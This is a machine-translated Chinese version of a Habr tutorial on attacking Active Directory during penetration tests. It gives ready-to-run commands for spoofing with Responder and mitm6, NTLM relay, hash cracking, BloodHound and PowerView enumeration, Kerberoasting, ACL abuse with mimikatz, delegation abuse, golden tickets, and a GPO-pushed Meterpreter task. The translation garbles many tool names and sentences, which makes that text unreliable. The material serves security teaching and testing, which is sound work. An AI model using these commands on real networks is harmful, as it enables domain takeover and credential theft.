域攻击


在进行渗透测试时,我们经常检测到域配置中的错误。 尽管这对于许多人而言似乎并不重要,但实际上,这种不准确之处可能会导致整个领域受到损害。

例如,根据一家公司的渗透测试的结果,我们得出的结论是,域中所有可用的计算机均不低于Windows10 / Windows Server2016,并且它们上具有所有最新的补丁程序。 定期扫描网络,机器很硬。 所有用户都坐在令牌中,不知道他们的“ 20个字符的密码”。 一切似乎都很好,但是尚未禁用IPv6。 域捕获方案如下所示:

mitm6-> ntlmrelay->通过委派进行攻击->收到本地管理员密码哈希->收到域管理员密码哈希。

不幸的是,诸如OSCP,GPEN或CEH之类的流行认证并未教授Active Directory渗透测试。

在本文中,我们将探讨渗透测试中使用的几种Active Directory攻击类型以及所使用的工具。 绝对不能将其视为所有攻击和工具的完整指南,其中确实有很多,并且很难写成一篇文章。

因此,为演示起见,我们在Kali Linux 2019上使用笔记本电脑,并在VMware上使用其上的虚拟主机。 想象一下,渗透测试的主要目标是获得域管理员权限,作为输入,我们可以通过以太网访问公司的公司网络。 要开始测试域,我们需要一个帐户。

取得帐号


在我看来,请考虑两种最常见的获取域帐户登录名和密码的方法:LLMNR / NBNS欺骗和对IPv6协议的攻击。

LLMNR / NBNS欺骗


关于这种攻击已经有很多说法。 最重要的是,如果DNS失败,客户端将发出多播LLMNR并广播NBT-NS广播请求以解析主机名。 任何网络用户都可以回答此类请求。

允许攻击的工具:

  • 回应
  • 投机
  • Metasploit模块:辅助/欺骗/ llmnr / llmnr_response,辅助/欺骗/ nbns / nbns_response,
    辅助/服务器/捕获/ smb,辅助/服务器/捕获/ http_ntlm

成功攻击后,我们可以获取用户密码的NetNTLM哈希。

Responder -I eth0 -wrf 



由此产生的哈希值,我们可以调试或执行NTLM中继。

IPv6攻击


如果在公司网络中使用IPv6,我们可以响应DHCPv6请求,并将我们的IP地址设置为被攻击机器上的DNS服务器。 由于IPv6优先于IPv4,因此客户端DNS查询将发送到我们的地址。 在此处阅读有关攻击的更多信息。

工具:


运行mitm6实用程序

 mitm6 -i vmnet0 

攻击完成后,带有我们的IPv6地址的新DNS服务器将出现在受攻击的工作站上。



被攻击的机器将尝试使用我们的机器进行身份验证。 使用smbserver.py实用程序提升了SMB服务器的性能之后,我们可以获得用户密码的哈希值。

 smbserver.py -smb2support SMB /root/SMB 



捕获的哈希动作


下一步是对密码哈希执行加密攻击并以明文形式获取密码,或者执行NTLM中继。

密码暴力破解


很简单:使用密码哈希,hashcat

 hashcat -m 5600 -a 3 hash.txt /usr/share/wordlists/rockyou.txt 

和布鲁斯。 可以获取密码,也可以不获取密码:)


Harvey用户密码已恢复-Pbvf2019

NTLM中继


我们还可以执行NTLM中继。 确保未使用SMB签名后,我们使用ntlmrelayx.py实用程序并进行攻击。 同样,根据目标,我们选择所需的向量。 让我们考虑其中的一些。


通过SMB协议访问受攻击的计算机


用钥匙i进行攻击。

 ntlmrelayx.py -t 192.168.1.5 -l loot -i 



成功攻击后,我们可以使用netcat连接到远程计算机。



域信息收集


在这种情况下,我们执行到域控制器的中继。

 ntlmrelayx.py -t ldap://192.168.1.2 

如果攻击成功,我们将获得有关域的详细信息:



将新计算机添加到域


默认情况下,每个用户都可以在域中最多创建10台计算机。 要创建计算机,您需要使用ldaps协议在域控制器上运行中继。 禁止通过未加密的ldap连接创建用户和计算机。 另外,如果通过SMB的连接被拦截,则无法创建帐户。

 ntlmrelayx.py -t ldaps://192.168.1.2 --add-computer 



正如您在图中看到的,我们能够创建计算机RORYOTGS $。

当创建10台以上的计算机时,会出现以下形式的错误:



使用RORYOTGS $计算机的凭据,我们可以对域控制器执行合法请求。

域信息收集


因此,我们有一个域用户或计算机帐户。 要继续测试,我们需要收集可用信息以进行进一步的攻击计划。 考虑一些可以帮助我们确定最关键系统的搜索,计划和执行攻击的工具。

猎犬


几乎所有内部​​渗透测试中都使用的最重要的工具之一。 该项目正在积极开发中,并具有新功能。

猎犬收集的信息
  • 组-执行组成员资格收集
  • LocalAdmin-执行本地管理员收集
  • RDP-执行远程桌面用户收集
  • DCOM-执行分布式COM用户集合
  • GPOLocalGroup-使用组策略对象执行本地管理员收集
  • 会话-执行会话收集
  • ComputerOnly-执行本地管理,RDP,DCOM和会话收集
  • LoggedOn-执行特权会话收集(需要目标系统上的管理员权限)
  • 信任-执行域信任枚举
  • ACL-执行ACL的收集
  • 容器-执行容器的收集;
  • DcOnly-仅使用LDAP执行收集。 包括组,信任,ACL,ObjectProps,容器和GPOLocalGroup
  • 全部-执行除GPOLocalGroup和LoggedOn之外的所有收集方法
  • 搜索林-搜索林中的所有域,而不仅仅是您当前的域
  • 域-搜索特定域。 如果为null,则使用当前域(默认值:null)
  • 隐形-执行隐形收集方法。 所有隐形选项均为单线程
  • SkipGCDeconfliction-会话枚举期间跳过全局编录去冲突。 这样可以加快枚举速度,但会导致数据可能不正确
  • ExcludeDc-从枚举中排除域控制器(避免使用Microsoft ATA标志)
  • ComputerFile-指定一个文件以从中加载计算机名称/ IP
  • OU-指定要枚举的OU


信息收集器是SharpHound.exe (需要安装.NET v3.5)和用powershell编写的脚本SharpHound.ps1 。 还有一个由第三方Python开发人员Bloodhound-python编写的编译器。

作为数据库,使用Neo4j ,它具有自己的语法,该语法使您可以执行自定义查询。 您可以在此处阅读有关语法的更多信息。

开箱即用有12个请求
  • 查找所有域管理员
  • 查找域管理员的最短路径
  • 查找具有DCSync权限的主体
  • 具有外部域组成员身份的用户
  • 具有外国域组成员身份的组
  • 映射域信任
  • 不受约束的委派系统的最短路径
  • 来自Kerberoastable用户的最短路径
  • 可通过Kerberoastable用户访问域管理员的最短路径
  • 自有校长的最短路径
  • 拥有人到域管理员的最短路径
  • 实现高价值目标的最短路径


开发人员还提供了DBCreator.py脚本,该脚本允许您生成随机数据库以进行测试。



Neo4j具有REST API。 有多种实用程序可以连接到数据库并使用接收到的数据:


让我们考虑其中的一些。

赛狗


CypherDog是用powershell编写的BloodHound外壳。 包括27个cmdlet。

Cmdlet清单
Cmdlet剧情简介
Get-BloodHoundCmdletBloodHound RTFM-获取Cmdlet
送血猎犬BloodHound POST-REST API的密码
Get-BloodHoundNodeBloodHound节点-获取节点
Search-BloodHoundNode猎狗节点-搜索节点
New-BloodHoundNodeBloodHound节点-创建节点
Set-boundhoundnodeBloodHound节点-更新节点
Remove-BloodHoundNodeBloodHound节点-删除节点
Get-BloodHoundNodeListBloodHound节点-获取列表
Get-BloodHoundNodeHighValueBloodHound节点-获得高价值
Get-BloodHoundNodeOwnedBloodHound节点-拥有
Get-BloodHoundNodeNoteBloodHound节点-获取注释
Set-BloodHoundNodeNoteBloodHound节点-设置注释
Get-BloodHoundBlacklistBloodHound节点-获取黑名单
Set-BloodHoundBlacklistBloodHound节点-设置黑名单
Remove-BloodHoundBlacklistBloodHound节点-删除黑名单
Get-BloodHoundEdge猎狗之刃-获取目标
Get-BloodHoundEdgeReverse猎狗之刃-获取资源
Get-BloodHoundEdgeCrossDomainBloodHound Edge-获取跨域
Get-BloodHoundEdgeCountBloodHound Edge-获得计数
Get-BloodHoundEdgeInfoBloodHound Edge-获取信息
新血缘BloodHound Edge-创建边缘
Remove-BloodHoundEdgeBloodHound Edge-删除边缘
Get-BloodHoundPathShort猎犬路径-最短
Get-BloodHoundPathAny猎犬路径-获得任何
Get-BloodHoundPathCost猎犬路径-获得费用
Get-BloodHoundPathCheapBloodHound Path-获得最便宜的
Get-BloodHoundWald0IOBloodHound Path-获取Wald0指数


使用范例
团队内容描述
Search-BloodHoundNode-类型计算机-Property unconstraineddelegation -Value $ true | 选择名称,服务主体名称,不受限制的委托,操作系统| 格式清单搜索具有无限Kerberos委派的计算机
边缘用户ADMINISTRATOR@JET.LAB MemberOf组列出用户组
什么计算机具有会话用户ADMINISTRATOR@JET.LAB列出有管理员用户会话的计算机
路径用户计算机HARVEY@JET.LAB DC1.JET.LAB打印从用户到域控制器的路径
“ DOMAIN ADMINS@JET.LAB”组的哪个用户MemberOf * | 列表登录列出属于DOMAIN Admins组的活动用户会话
'DOMAIN ADMINS@JET.LAB'组的哪个用户MemberOf | 列表登录|? 操作*-匹配7 | 列出AdminTo | 选择名字列出在运行Windows 7的工作站上具有管理员权限的用户,这些工作站具有来自域管理员组的用户会话


默认情况下,访问neo4j数据库需要身份验证。 您可以通过编辑neo4j.conf文件来禁用身份验证。 它需要取消注释dbms.security.auth_enabled = false行。 但是不建议这样做,因为任何用户都可以通过127.0.0.1:7474(默认配置)连接到数据库。 您可以在此处阅读有关neo4j的身份验证和授权的更多信息。

Gofetch


GoFetch使用在猎犬中创建的图形来计划和执行攻击。

猎犬图示例


GoFetch逻辑


攻击发起

 .\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json 

gt生成器


使用BloodHound数据的gt-generator可以轻松创建黄金票证。 要接收黄金票,仅需要KRBTGT用户的用户名和密码哈希。

 python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH> 



威视


PowerViewPowerSploit附带的Powershell框架。 以下是一些cmdlet的列表,这些cmdlet可以帮助您收集有关域的信息。

Cmdlet清单
Get-NetDomain-域jet.lab获取当前域
获取域SID获取当前域SID
Get-NetDomainController-域jet.lab获取域的域控制器
Get-NetUser-域jet.lab -UserName labuser获取域的用户
Get-NetGroup *组名*获取当前域中的所有组
Get-NetGroupMember -GroupName“域管理员”获取Domain Admins组的所有成员
Get-NetGroup-用户名“ domain_user”获取用户的组成员身份
Get-NetComputer-完整数据获取域中的所有计算机
Find-LocalAdminAccess-详细查找当前域中当前用户具有本地管理员访问权限的所有计算机
Get-NetSession-计算机名dc02.jet.lab列出特定计算机上的会话
调用UserHunter -CheckAccess查找域管理员已登录且当前用户有权访问的计算机


Adidnsdump


在Active Directory中使用集成DNS时,任何域用户都可以查询所有默认DNS记录。

使用的工具: Adidnsdump。



域攻击


现在我们有了域信息,我们进入渗透测试的下一个阶段-直接进行攻击。 考虑4个潜在向量:

  1. 焙烧
  2. 通过ACL攻击
  3. Kerberos委派
  4. 滥用GPO权限


焙烧


这类攻击针对Kerberos协议。 有两种类型的攻击,例如Roasting:

  • 喀伯鲁斯特
  • 阿斯普鲁司特

喀伯鲁斯特


该攻击最初是由2014年DerbyCon的timmedin用户演示的( 视频 )。 成功攻击后,我们将能够在脱机模式下整理服务超声波的密码,而不必担心阻止用户。 服务帐户经常具有过多的权限和永久密码,这可能使我们可以获得域管理员权限。
要了解攻击的本质,请考虑Kerberos如何工作。



1.将密码转换为NTLM哈希,使用哈希对时间戳进行加密,然后将其作为TGT票证请求(AS-REQ)中的身份验证器发送给KDC。 域控制器(KDC)检查用户信息并创建TGT票证。

2. TGT票证已加密,签名并发送给用户(AS-REP)。 仅Kerberos服务(KRBTGT)可以打开和读取TGT票证中的数据。

3.用户应TGS票证(TGS-REQ)的请求将TGT票证提交到域控制器。 域控制器打开TGT票证并检查PAC校验和。

4.使用服务帐户密码的NTLM哈希加密TGS票证,并将其发送给用户(TGS-REP)。

5.用户向运行服务的计算机(AP-REQ)提供TGS票证。 该服务使用其NTLM哈希值打开TGS票证。

6.提供对服务的访问(AS-REP)。

收到TGS门票(TGS-REP)后,我们可以离线找到服务帐户的密码。 例如,使用hashcat。

根据RFC396 ,为Kerberos协议保留20种加密类型。 现在按照优先级使用的加密类型:

  • AES256_CTS_HMAC_SHA1
  • AES128_CTS_HMAC_SHA1
  • RC4_HMAC_MD5

在Windows的最新版本中,默认情况下使用AES加密。 但是,为了与Windows Vista和Windows 2008 Server以下的系统兼容,需要支持RC4算法。 进行攻击时,总是首先尝试获取具有RC4_HMAC_MD5加密的TGS票证,这样可以使用更快的密码,然后再进行其他操作。 Harmj0y进行了一项有趣的研究 ,发现如果用户属性指定加密仅支持Kerberos AES128和AES256,则仍会使用RC4_HMAC_MD5加密来发行Kerberos票证。



级别必须禁用RC4_HMAC_MD5

角er攻击有两种方法。

1.旧方法。 TGS票证通过Powershell类的setpn.exe或.NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken请求,使用mimikatz从内存中检索,然后转换为所需的格式(John,Hashcat)并进行排序。

2.新方法。 machosec注意到KerberosRequestorSecurityToken类具有GetRequest方法,该方法从TGS票证中提取带有密码的加密部分。

进行攻击的工具:

1)搜索SPN记录


2)索取TGS门票

  • setspn.exe(Windows本地实用程序)
  • 通过Powershell进行票务请求

     Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “<ServicePrincipalName>” 
  • Request-SPNTicket

您可以使用klist命令查看当前缓存的票证。

常用SPN记录
  • TERMSRV-远程桌面
  • SmtpSVC和SMTP-邮件
  • WSMAN-WinRM
  • ExchangeAB,ExchangeRFR,ExchangeMDM-MS Exchange
  • POP / POP3-POP3邮政服务
  • IMAP / IMAP4-IMAP电子邮件服务
  • MSSQLSvc-Microsoft SQL Server
  • MONGO-MongoDB数据库服务器
  • DNS-DNS服务器
  • HTTP,WWW-Web服务器
  • LDAP-LDAP
  • FTP-FTP服务器


3)出口车票:



自动执行所有3点的示例:

  • RiskiskSPN

     Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt 
  • Powersploit

     Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl 
  • GetUserSPNs.py

     GetUserSPNs.py -request jet.lab\user:Password 

阿斯普鲁司特


该漏洞是禁用了Kerberos预身份验证。 在这种情况下,我们可以向禁用了Kerberos预身份验证的用户发送AS-REQ请求,并使用密码获取加密的部分。



该漏洞很少见,因为禁用预身份验证不是默认设置。

搜索禁用了Kerberos身份验证的用户:

  • 威视

     Get-DomainUser -PreauthNotRequired -Properties samaccountname -Verbose 
  • 活动目录模块

     get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name 

获取加密部分:



通过ACL攻击


域上下文中的ACL是一组规则,用于定义AD中对象的访问权限。 可以为单个对象(例如,用户帐户)或组织单位(例如,OU)配置ACL。 在OU上配置ACL时,OU中的所有对象都将继承ACL。 ACL包含确定SID如何与Active Directory对象交互的访问控制项(ACE)。

例如,我们有三个组:A,B,C,其中组C是组B的成员,组B是组A的成员。将访客添加到组C时,访客不仅将是组C的成员,而且还将是组C的成员。 B组和A组的间接成员。将对域对象的访问权限添加到A组时,来宾用户也将有权访问此对象。 在用户仅是一个组的直接成员而该组是其他50个组的间接成员的情况下,很容易失去继承权限的连接。

您可以通过运行以下命令来检索与对象关联的ACL。

 Get-ObjectACL -Samaccountname Guest -ResolveGUIDs 

您可以使用该工具来利用ACL配置中的错误。
调用ACLPwn 。 Powershell脚本使用BloodHound收集器SharpHound收集有关域中所有ACL的信息,并构建一条链以获得writeDACL权限。 构建链后,脚本将操作链的每个步骤。 脚本的顺序:

  1. 用户被添加到必要的组。
  2. 将两个ACE(复制目录更改和复制目录更改全部)添加到域对象的ACL中。
  3. 如果您具有使用Mimikatz实用程序进行DCSync的权限,则请求用户krbtgt的密码哈希(默认设置)。
  4. 操作完成后,脚本将删除ACL中所有已添加的组和ACE条目。

该脚本仅针对使用writeDACL权限。 攻击者可能还对以下访问权限感兴趣:

  • ForceChangePassword。 未知当前密码时有权更改用户密码。 使用PowerSploit进行操作-Set-DomainUserPassword。
  • AddMembers。 将组,计算机和用户添加到组的权限。 使用PowerSploit进行操作-Add-DomainGroupMember。
  • 通用写入 更改对象属性的权限。 例如,更改scriptPath参数的值。 用户下次登录系统时,指定的文件将启动。 使用PowerSploit进行操作-Set-DomainObject。
  • WriteOwner。 更改对象所有者的权利。 使用PowerSploit进行操作-Set-DomainObjectOwner。
  • AllExtendedRights。 有权将用户添加到组,更改用户密码等。使用PowerSploit进行操作-Set-DomainUserPassword或Add-DomainGroupMember。

操作方式:


从域中的机器开始

 ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe 

从不在域中的机器开始

 /Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'domain\user' -Domain 'fqdn_of_target_domain' -Password 'Pass' 


Kerberos委派


Kerberos授权授权使您可以重用最终用户凭据来访问另一台服务器上托管的资源。

Kerberos委托可以是三种类型:

  1. 无限(无限制委派)。 Windows Server 2003之前的唯一委派选项
  2. 自Windows Server 2003以来受约束的委派
  3. 基于资源的约束委派 Windows Server 2012中引入

无限委托


在Active Directory管理单元中,启用的无限制委派功能如下:



为了清楚起见,请考虑如何在图上进行无限委派。



  1. 用户密码将转换为ntlm哈希。 时间戳使用此哈希进行加密,然后发送到域控制器以请求TGT票证。
  2. 域控制器检查有关用户的信息(登录限制,组成员身份等),创建TGT票证并将其发送给用户。 TGT票证已加密,签名,并且只有krbtgt可以读取其数据。
  3. 用户请求TGS票证来访问Web服务器上的Web服务。
  4. 域控制器提供了TGS票证。
  5. 用户将TGT和TGS票证发送到Web服务器。
  6. Web服务器服务帐户使用用户的TGT票证来请求TGS票证来访问数据库服务器。
  7. 该服务帐户以用户身份连接到数据库服务器。

无限委派的主要危险是,当一台具有无限委派的计算机受到威胁时,攻击者将能够从该计算机获取用户的TGT票证,并代表这些用户访问域中的任何系统。

在无限制委派的域中搜索机器:

  • 威视

     Get-NetComputer -unconstrained 
  • 活动目录模块

     Get-Adcomputer -Filter {TrustedForDelegation -eq $True} 

门票出口:

  • 使用mimikatz。 sekurlsa ::门票/出口
  • 您还可以执行“通票”攻击。

      kerberos::ptt C:\tickets\. 



代表团有限


受限委派模式允许您仅在特定计算机上访问允许的服务。 在Active Directory管理单元中,如下所示:



在有限的委派下,使用了2个Kerberos协议扩展:

  • 自我
  • S4U代理

当客户端未使用Kerberos协议进行身份验证时,将使用S4U2Self

对于无限制委派,TGT用于标识用户,在这种情况下,S4U扩展使用PA-FOR-USER结构作为padata / pre-authentication数据字段中的新类型。 仅当发出请求的用户的userAccountControl中设置了TRUSTED_TO_AUTH_FOR_DELEGATION字段时,才允许S4U2self进程。



S4U2Proxy允许服务帐户使用在S4U2proxy进程中接收的重定向票证来请求TGS票证以访问允许的服务(msds-allowtodelegateto)。 KDC检查在请求用户的msds-allowtodelegateto字段中是否指定了所请求的服务,如果检查成功,则发出票证。 因此,委派“限于”特定的目标服务。



您可以使用PowerView在受限的委派域中搜索计算机和用户

搜索无限制委派的计算机

 Get-DomainComputer -TrustedtoAuth 

搜索有限的委派用户

 Get-DomainUser -TrustedtoAuth 

要进行攻击,我们需要一个开放密码,一个NTLM密码哈希或TGT票证。



基于资源的有限委派


与常规委派一样,使用S4U扩展。由于基于资源的委派主要是受限委派,因此在此处也可以使用与常规受限委派有关的攻击。唯一的区别是,在简单的受限委派中,服务A应该具有msDS-AllowedToDelegateTo = ServiceB属性,这里服务B应该具有msDS-AllowedToActOnBehalfOfOtherIdentity = Service A 属性



该属性允许harmj0y发布的一种攻击攻击需要获得权限以修改PrincipalsAllowedToDelegateToAccount参数,该参数设置msds-AllowedToActOnBehalfOfOtherIdentity属性,该属性包含访问控制列表(ACL)。与有限的委派不同,我们不需要域管理员权限来更改msds-AllowedToActOnBehalfOfOtherIdentity属性。您可以找出谁有权编辑该属性,如下所示:

 (Get-acl "AD:$((get-adcomputer Windows7).distinguishedname)").access | Where-Object -Property ActiveDirectoryRights -Match WriteProperty |out-gridview 



因此,要执行攻击,请执行mitm6

 mitm6 -I vmnet0 

我们以--delegate-access选项启动ntlmrelayx

 ntlmrelayx -t ldaps://dc1.jet.lab --delegate-access 

攻击的结果是,创建了ZGXTPVYX $计算机,该计算机具有对Windows7计算机的委派权限。

 $x = Get-ADComputer Windows7 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity $x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access 



Yegor Podmokov在PHDays上发表一份不错的代表团报告



滥用GPO权限


组策略对象是允许管理员有效管理域的工具。但是碰巧的是,为用户分配了不必要的权限,包括更改GPO策略。

为了演示该示例,我们将为Ragnar用户添加编辑默认域控制器策略的权限(实际上,该策略的权限仅授予域管理员,但攻击的本质不会改变;对于其他策略,只有受控主机会更改)。



使用PowerView枚举域中所有GPO的权限

 Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name} 



Ragnar用户有权更改GUID为6AC1786C-016F-11D2-945F-00C04FB984F9的GPO。要确定域中的哪些主机应用此策略,请运行以下命令

 Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_} 



获得主机dc1.jet.lab。

知道Ragnar用户可以编辑的特定策略以及该策略适用的主机,我们可以在dc1.jet.lab主机上执行各种操作。

以下是使用GPO的选项
计算机配置\首选项\控制面板设置\文件夹选项创建/更改文件类型关联,向这些关联注册DDE操作
计算机配置\首选项\控制面板设置\本地用户和组Add new local admin account
Computer Configuration\Preferences\Control Panel Settings\Scheduled TasksDeploy a new evil scheduled task (ie: PowerShell download cradle)
Computer Configuration\Preferences\Control Panel Settings\ServicesCreate and configure new evil services
Computer Configuration\Preferences\Windows Settings\FilesAffected computers will download a file from the domain controller
Computer Configuration\Preferences\Windows Settings\INI FilesUpdate existing INI files
Computer Configuration\Preferences\Windows Settings\RegistryUpdate specific registry keys. Very useful for disabling security mechanisms, or triggering code execution in any number of ways
Computer Configuration\Preferences\Windows Settings\ShortcutsDeploy a new evil shortcut
Computer Configuration\Policies\Software Settings\Software installationDeploy an evil MSI. The MSI must be available to the GP client via a network share
Computer Configuration\Policies\Windows Settings\Scripts (startup/shutdown)Configure and deploy evil startup scripts. Can run scripts out of GPO directory, can also run PowerShell commands with arguments
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Audit PolicyModify local audit settings. Useful for evading detection
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Grant a user the right to logon via RDP, grant a user SeDebugPrivilege, grant a user the right to load device drivers, grant a user seTakeOwnershipPrivilege. Basically, take over the remote computer without ever being an administrator on it
Computer Configuration\Policies\Windows Settings\Security Settings\RegistryAlter DACLs on registry keys, grant yourself an extremely hard to find backdoor on the system
Computer Configuration\Policies\Windows Settings\Security Settings\Windows FirewallManage the Windows firewall. Open up ports if they're blocked
Computer Configuration\Preferences\Windows Settings\EnvironmentAdd UNC path for DLL side loading
Computer Configuration\Preferences\Windows Settings\FilesCopy a file from a remote UNC path


通过New-GPOImmediateTaskSharpGPOAbuse工具,您可以:

  • 在任务计划程序中运行任务
  • 添加用户权限(SeDebugPrivilege,SeTakeOwnershipPrivilege等)
  • 添加启动后运行的脚本
  • 将用户添加到本地组

例如,在任务计划程序中添加任务以获取Meterpreter会话:

 New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_meterepreter_payload>' -Force 

执行后,计划任务显示为test,



并且出现Meterpreter会话





要删除计划任务,需要运行以下命令:

 New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy 

结论


在本文中,我们仅研究了一些攻击媒介。对Exchange的攻击(如RulerPrivExchangeExchangeRelayX)之类的视图,例如枚举帐户和密码sprayMS14-068,大量打印机错误和不受约束的委托等,可以极大地扩大攻击范围。攻击技术和固定方法(金票,银票,哈希传递,越过哈希,SID历史记录,DC阴影等)一直在变化,并且防御团队应始终为新型攻击做好准备。

Source: https://habr.com/ru/post/zh-CN449278/


All Articles